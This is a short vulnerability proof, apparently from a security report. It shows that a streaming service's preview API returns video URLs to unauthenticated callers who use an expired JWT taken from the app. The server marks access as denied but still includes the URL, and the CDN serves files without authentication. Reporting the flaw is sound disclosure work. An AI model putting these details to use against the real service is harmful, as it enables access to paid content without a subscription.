API Response Evidence — Vulnerability Proof

Endpoint called GET /api/preview/v2/21197/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

serverhost 35

video_name Lost.S01E01.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
